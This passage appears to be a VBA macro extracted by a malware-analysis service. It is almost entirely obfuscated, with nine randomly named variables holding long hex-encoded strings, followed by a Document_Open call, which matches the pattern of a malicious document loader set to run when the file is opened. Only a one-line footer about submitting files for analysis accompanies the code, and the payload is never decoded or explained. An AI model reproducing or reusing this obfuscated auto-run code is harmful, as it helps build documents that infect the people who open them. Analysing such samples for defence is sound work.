WU_D = "43B47E487E517E837E68947E7E647E7E9F497E647E7E6C7E7E7E7E7EA0847E7E977ABE50998165627E7EB47E7E7E3F6F7EA77EBB7E407E8C7E69A6A0747A7E56B67E7E7E7F7EA07E7E796475867E7EB46F7E7E8351959E719B6E7E7E7E7E7E677EA98F7E667E597EAD7E66BD7EB1BC7E497E5B7EA37E757E7E50467E7E7E799A7E5"
Dim NV_KH As String
NV_KH = "E8AB864AB7E686C7E4A7E8BA8866C7E437E7E7E57727E67547EBD5B7EA67E7E7E65437E7E68A17E757EB77E7E1D937E72757E7E9A72847E837E7E4F97957E7E81817E4B7E89697EAE7E7EA88F6E687E9C705C6FA77E5798ACB47E648F61A17E7C9A51486599A27E7E0A7E7EAA7E7E7E7E64617E5E8E7EB87EAC7E6BA75E7E7E7E52"
Dim SCX_O As String
SCX_O = "7E56B6757E7E7E6F727EBE417EBA7E947E7E4F5C4B7E7EB27EA5A37E7E7E7F967EA9577E8DA85F7E5E8F7E72AA5B7E7E7E9C7E7E7E7E7E7E6A76757E7F7E7D7E7E4FBC7E7E7E7E7E7C7E7E7EB17E7E7E977E7EA1607E6F3FA37C7E8B7E4F737E7E8B7E94777E997E8B7A7EA77E7E7E7E7E677E877E6E8B7E887E468C996BB6897E6"
Dim A_BU As String
A_BU = "4547B7EAB405D46867E7EBC7E7EA67E7E674BACB77EAF477E7E7E4CBE5E7E777E7EAAA64EBA66A87FA57E95528C527E7EB843AA7E867E7E737E7E517E7E7EB47183927E7E7F7E7E4376777E7E937E7EA64559969AA04C7E72537E537E857E64637E7E617EA47E977E7E4E8C7EA6B4777E7E7E997E7E7E7E734B7E7E7E667E7E7E98"
Dim B_FEO As String
B_FEO = "7E8E409E7E7E917E7E7E7E7A7E817E7E7E877E487EAD977E9D7E7E5C7E5E7E5B7E8A7EA07E49A77E617C994F7E7E7E7C7E7E847E8EB67EB4A2597E734B7E495E987E61BC707DBCA95B6F7E7E7E7E7E7E787E7E7E49A97E7E747EA855A47E457E7E7E597C7E45A07E997E7E7E7E994193527E4D85918E7E797E7E8C7E40457E9F7E3"
Dim W_C As String
W_C = "F627E997E7EA17E7C8EAF7E7E5442A07E8B8C9F7E7EBB7E937E897E7E75627E9657A57EA97E7E7E817E7E8E7E41427E517E7EBD7E4E7E7E7E439A7E7E9EB17E7E7E667E7E7EA86A406C7E907EB67E4F9E7E7E878AB67EA5837E497E7E977EA596947E757E687E417E7E7E4B487EBA7E7E7E7EA2A27E7EBAA87E7E8B7E907E7E7E9F"
Dim U_OHS As String
U_OHS = "7E757E7E7E7E7E849979457E7E81974C7E7E7E7E96957E9D687E9484A6B94EA87E8F9C7E5A737E7E657E606D7E897E498F8246457E7E677EB693BD7E92837E7E6A7E7E7E7E9471767E737E7E7E758A7E63B2477E7E66B2907E57A57E81427EAA66637E8F7E7EA07EA97E7EB2478E7EAB617E40B2B07C6B7E597E7E417E7EB24D657"
Dim PXS_R As String
PXS_R = "27E7E73AD7EAA83557E9C7E407E7E60A87E7E7E62517E7E48A67E987E6AA37E5A7E7E9C5F7E7E7E7EB4B3A03F5B7E7E4999B37E7E7EBA7E7E947E507E7E7FBAB55A6A7E7E887E3F7E7A7E835B7EA67E7E7E6048ACAA757EB1BE869F7E7E7E7E737E7E7E7E3F7E9AB37EB265757E6E7E97A27E7E754C4A7E6E7E83407E8A7E7E7E4F"
Dim WJF_YYD As String
WJF_YYD = "627E7E7E7E7EA07E7EAA7E7E7A7E57B09B9BAF7E7E7E7E7E7E737E7E7E674DB67B647EB1AB7EAA7EA77E527E6299857E7E6C7E5352777E7E7E5B7E7E7E9C897E555C7E447E7EB7ACB37E7F7EA67E737E77B87E6751A67E7E7EB181817E7E6FA88366767E527E7E9F7E7E7E7E7E7EA07E7E9EAF427E4F5A44877E7E7E7E427E7E7EA73F7E7EB2457E81667E7E7E747E9EB8906B7E724A7099B57E7E7E7E7E565B7B7E7E4B7E7E577E7EB47E7E7E7E927E569B9B7EBAA07E7E7B977E807E7E7B50917EA27E425A71927E7E8F597E3F587E7E437E7E64AC7EB27E797E7E7E7EAA7E8B7E7E7E528068BA7E7E707E9D97"

    Document_Open
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.